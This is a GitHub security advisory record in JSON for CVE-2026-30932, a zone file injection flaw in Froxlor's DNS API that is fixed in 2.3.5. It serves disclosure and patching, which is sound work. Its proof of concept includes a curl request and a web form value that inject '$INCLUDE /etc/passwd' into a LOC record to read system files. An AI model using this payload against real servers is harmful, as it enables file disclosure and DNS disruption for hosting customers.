CVE-2026-30932: Froxlor/froxlor Froxlor Is Vulnerable To BIND Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x6w6-2xwp-3jh6",
  "modified" : "2026-03-30T13:50:46Z",
  "published" : "2026-03-24T16:49:21Z",
  "aliases" : [ "CVE-2026-30932" ],
  "summary" : "Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API",
  "details" : "## Summary\n\nThe `DomainZones.add` API endpoint (accessible to customers with DNS enabled) does not validate the `content` field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. `$INCLUDE`) into the zone file that gets written to disk when the DNS rebuild cron job runs.\n\n## Affected Code\n\n`lib/Froxlor/Api/Commands/DomainZones.php`, lines 213-214, 253-254, 290-291, 292-293:\n\n```php\n} elseif ($type == 'LOC' && !empty($content)) {\n    $content = $content; // no validation\n} ...\n} elseif ($type == 'RP' && !empty($content)) {\n    $content = $content; // no validation\n} ...\n} elseif ($type == 'SSHFP' && !empty($content)) {\n    $content = $content; // no validation\n} elseif ($type == 'TLSA' && !empty($content)) {\n    $content = $content; // no validation\n}\n```\n\nThere is even a TODO comment at line 148 acknowledging this gap:\n```php\n// TODO regex validate content for invalid characters\n```\n\nThe content is then written directly into the BIND zone file via `DnsEntry::__toString()` (line 83 of `lib/Froxlor/Dns/DnsEntry.php`):\n\n```php\nreturn $this->record . \"\\t\" . $this->ttl . \"\\t\" . $this->class . \"\\t\" . $this->type . \"\\t\" ... . $_content . PHP_EOL;\n```\n\nAnd the zone file is written to disk in `lib/Froxlor/Cron/Dns/Bind.php` line 121:\n\n```php\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\n## PoC\n\nAs a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"command\":\"DomainZones.add\",\"params\":{\"domainname\":\"example.com\",\"type\":\"LOC\",\"content\":\"0 0 0 N 0 0 0 E 0\\n$INCLUDE /etc/passwd\"}}' \\\n  https://panel.example.com/api.php\n```\n\nAlternatively via the web UI, intercept the DNS editor form POST and set `dns_content` to `0 0 0 N 0 0 0 E 0\\n$INCLUDE /etc/passwd` and `dns_type` to `LOC`.\n\nAfter the DNS rebuild cron runs, the resulting zone file at `{bindconf_directory}/domains/example.com.zone` will contain:\n\n```\n@\t18000\tIN\tLOC\t0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd\n```\n\nBIND will process the `$INCLUDE` directive and attempt to parse `/etc/passwd` as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as `bind`/`named` user), confirming file existence and potentially leaking parseable lines as DNS records.\n\n## Impact\n\n1. **Information Disclosure**: The `$INCLUDE` directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the `DomainZones.get` API call or the DNS editor in the web UI.\n\n2. **DNS Service Disruption**: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting `$GENERATE` directives could create massive record sets for amplification attacks.\n\n3. **Zone Data Manipulation**: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-x6w6-2xwp-3jh6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30932"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-24T16:49:21Z",
    "nvd_published_at" : "2026-03-24T19:16:51Z"
  }
}